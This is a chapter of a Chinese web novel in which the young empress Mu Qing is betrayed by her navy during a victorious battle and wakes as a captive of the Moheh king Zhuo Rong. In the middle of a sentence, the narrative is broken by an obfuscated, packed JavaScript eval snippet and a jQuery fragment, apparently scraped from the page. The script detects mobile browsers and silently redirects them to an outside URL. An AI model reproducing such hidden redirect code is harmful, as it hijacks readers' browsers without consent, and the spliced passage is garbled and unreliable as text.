红荔挂绿 作品
66.决战(四)
林睿如同一只困在笼中的豹子,不住在堡顶的瞭望台踱来踱去,走得热气蒸腾,在北原深秋的寒风里,仍一身细汗。
他极目北眺,献江在阳光下泛着光,献江背后,连绵壮阔的献宁山脉上,献宁镇高大的城墙在枫叶林里露出黑黢黢一角。
前有江后依山,献宁镇历来是中原对抗北方散居部落的坚固防线,如今却成了悬在大历头上的一把匕首。
那日“雷越帆”竟公然造反,林睿震惊莫名,脑海中瞬间闪过平日积累的许多疑惑,深悔自己竟一无所觉。
冷静下来后,他知道事已至此,硬碰无用,只会白白牺牲性命。自己与女帝渊源甚厚,即使假意归降,对方也必不敢用,不如退而求其次,再缓缓图之。
当时,“雷越帆”给所有人两条路,一条是随他起事,一条是死路。
他与穆震环选择了第三条路,自请到黑原以北的防线。
“黑原若乱起来,墨赫人迟早会得到消息,他们一向觊觎大历,定会趁机南侵。你大可杀了我们,然后调配几名心腹去守着,只是如此你南下便少了助力。你也可以派人盯着我们,让我们去守北线。”
“你也不想,抢到手的大历,只剩半壁江山吧?”
穆昇沉默良久,竟答应了。
他与寮国勾结,是因为知道寮国人逐草而居,粗鄙落后,仍是一派奴隶部落的做派,只想掠夺财富人口,并无入主中原之心。
而墨赫族人,因前朝长期与中原来往,已将中原的中央集权王朝制度学了去,厉兵秣马,虎视眈眈。
若让墨赫人得了空子,恐怕他抵挡不住,真要落得定都江南的命运。
所以他宁可勾搭寮国,也不敢借力墨赫。如今,他的确急需人手作战。便当真留了这两员副将一条性命,收了兵权,派了督军,令他二人,分守北线的东西两端。但他们若敢往南踏出一步,杀无赦。
林睿于是如愿地,被押着踏上了他巡查过无数次的北线。
令他惊诧的是,不出两日,竟有探事司察子偷偷联系上了他,女帝让他且安心镇守北线,无论如何坚守五日,五日以后,会有人接应他后撤,届时他需将敌寇引到对应位置。
这是要设伏的意思?
看来女帝对伏虎军的勾结倒戈,已有了对策,连带着对墨赫,也有一番筹谋。
他暗暗松了一口气,一面对女帝的信任深感安慰,一面又惊诧,数年不见,她竟成长到这个地步了吗?伏虎军和寮军联手,即使是高祖亲至,也十分棘手吧。
无论如何,他本就是打定主意死守北线,不让墨赫人有祸害中原的机会,于是磨刀霍霍,严阵以待。
可如今,已是第六日了,墨赫竟毫无动静。
黑原几个州陷入战乱,战火一路往冀北、京师燃去。墨赫一直觊觎中原,黑原乱了,焉能不知,怎会如此安静?
他越想越是不安,几乎一个时辰便加派一个哨探。
……
穆晴领兵冲出北门的时候,感觉到全身的热血都沸腾起来。
此前一番密集火炮,整个战场弥漫着硝烟的黑烟,寮军死伤惨重,只剩中军团团护着大王子往北逃窜,形容狼狈非常。
而反观京师守军,连日憋在城内防守,对寮军的愤恨已达顶峰,如今又有如同天雷降世的火炮助攻,士气高扬,简直能一口气杀到黑原大营去。
这震天的喊声,奋勇的兵士,如同滔天巨浪高高涌起,拍打在落荒而逃的敌军阵上,将敌军冲得四分五裂,首尾不能相顾。
分化与切割,便是太叔桓原本制定好的战略。
伏虎军失了统帅,内部大乱,已无心南下,剩下几个将领不过领着残部逃回黑原而已,其中不少是被裹挟而来,可容后分而治之,日后还会是反击墨赫的有生力量。
而异族寮军,单军深入,孤立无援,若将其赶做一团,走投无路,反而令其狗急跳墙,拼死反击,因而最好的办法便是围而不实,将其不断分割,在追赶中分批消耗殆尽。
因而穆晴和顾维朗,在战场上,隔着漫天硝烟,也只遥遥对视一眼,便各自错开了队伍。
顾维朗往西,追击寮军主力,将其遥遥驱赶到昆北再合围灭之。
穆晴往东,领着部分潭东军,将切割下来的一部分寮军往渤洲湾驱赶,与渤洲湾水师两下夹击。
上百人的精锐亲卫团团护住女帝,前锋营军士因逢皇帝亲征,个个争先,恨不得肋生双翼,生扑上前杀敌。
杀了十余里,前方便是渤洲湾了,渤洲湾水师也如计划那般,开始遥遥朝寮军发出火炮。
寮军部落之间常年战乱,因而寮族士兵以好勇斗狠著称,即使是败军,也仍有一股狠劲,十分难缠。
直到迎头被砸了一列火炮,耳边轰鸣,满目漆黑,后有追兵,前无去路,有的只是烈焰和黑烟,寮军最后撑着的一口气便散了,不少人直接原地跪下哭着求饶,其他也不成队列,三三两两丢盔弃甲而逃。
到目前为止,整个计划都十分顺利。
然而,渤海湾的火炮却没有停止,在一阵换装火药的安静过后,下一批火炮竟朝潭东军发来。
新研制的霹雳弹在潭东军两翼炸开。原本横展队形包围寮军的潭东军,如同失了双翼的雄鹰,瞬间陷入混乱。
穆晴的帅旗在潭东军中央位置,火炮仿佛是精心计算过,特地避开了核心,因而穆晴只是被震得耳鸣不已,差点从惊马上摔下来。
“护驾!护驾!”
亲卫军第一时间反应过来,忙拥着穆晴往后急撤。
可是已经来不及了。
渤洲湾的炮火越过大军,落在后方,连绵不断,形成一道浓烟烈焰建成的火墙,在前方探路的军士被炸得血肉横飞。
“定是渤洲湾的水军叛变了!”穆晴急调马头,想从侧翼迂回躲开,然而一个火炮落在近前,她只听得耳边轰然作响,便失去了意识。
……
等她再度睁开眼睛,只见漆黑之中一道长长的光柱从天而降,而自己有一种悬浮的失重感,努力想起来,却动弹不得。
“我这是……驾崩了?”
等眼睛适应了昏暗的光线,她才发现自己身处一个黑洞洞的房间,那光柱,不过是从天花板的一个小洞里漏下的光。
穆晴
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15185038|160153||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
想要起身,发现自己双手双脚都被捆住了,半边身子被压得发麻,几乎用不了力。
外面传来浪涌之声,身下的地板轻轻摇晃。
她这是在一艘船上。
看来,果真是渤洲湾的水军有问题。
穆晴脑袋飞速转着,叛军平定后,渤洲湾交给了宗室子弟费流,此人是先帝恩科武举状元,与伏虎军、宗室子弟并无交集,因何反了呢?
但从他们对寮军发的炮来看,似乎并非与伏虎军一伙的。
穆晴正百思不得其解,忽然听得外面有脚步声,她忙躺回原来的位置,闭目装作昏迷不醒。
只听脚步声走近,一阵铁链的哗啦声,门开了,几个人走了进来,有人踢了一脚,穆晴吃痛,仍闭目不醒。
另一人开口了,只是说的话叽里呱啦的,穆晴完全听不懂。
下一刻,一桶冰冷的水泼在穆晴脸上,她忍不住一个激灵,睁开了眼睛。
“陛下不装了?”
只见一个人半蹲在地上,以俾睨的姿势从上而下看着她,其人瞳色偏灰,头上扎了满头小辫,以珍珠、金片串连,额上发带旁插了三根羽毛。
他身后几人,亦是同样的装扮,不过发辫上并无珠宝点缀,腰上则多挂了一把粗重的直刀,看着是前面之人的亲随卫队。
这是墨赫人的装扮。
墨赫竟出现在了渤洲湾,难道伏虎军早已勾结墨赫?
穆晴心中一震,脸上尽量不动声色,只冷眼看着几人。
“你们穆氏真有趣,皇帝有那么多兄弟,竟然把皇位给了你这么一个小姑娘。”对方操着蹩脚的汉话,
穆晴道:“你们墨赫更有趣,这么一个小姑娘,还要用绳子捆住,是怕打不过我?”
对方笑笑,从靴筒里抽出一把镶满宝石的弯刀来,先替她把脚踝上的麻绳割了,又抓住她的手腕,替她割开了手上的麻绳。
那刀闪着寒光,十分锋利,两下便割断了并指粗的绳子。
但是绳子开了,他却没放开手,而是继续握着穆晴的手腕,指头还在上面摩擦了一下。
穆晴浑身都起了鸡皮疙瘩,忍住恶心,镇定地用力抽回了手。
对方又笑了:“都这田地了,还装皇帝架子。我本来想用你换半边大历,如今看你还挺对我胃口,多给你一个选择。”
“我是墨赫族的圣王,卓容,你可以嫁给我,整个大历王朝就都还是你的,也是我的。如何?”
“半边大历?”穆晴盯着他的眼睛,试图看出多一点信息。
“是的,你让你们的军队离开黑原、一直往南退,推到沧江以南,从此我们一南一北,划江而治,我就放你回去。当然,你若选了第二个选择,我们可以划床而治。”
他似乎为自己这个蹩脚的笑话很是得意,咧开嘴露出一排白森森的牙来,自己先笑了一番。
穆晴思索着他的用词,“离开黑原”,证明他们并不是从北原四镇一路攻下的,如今自己在船上,他们很可能是买通了渤洲湾水师,直接从北原四镇的尾津镇出海而来。
怪不得事先并没有收到任何军报,穆晴还觉得他们安静得太过分了,原来竟是如此另辟蹊径!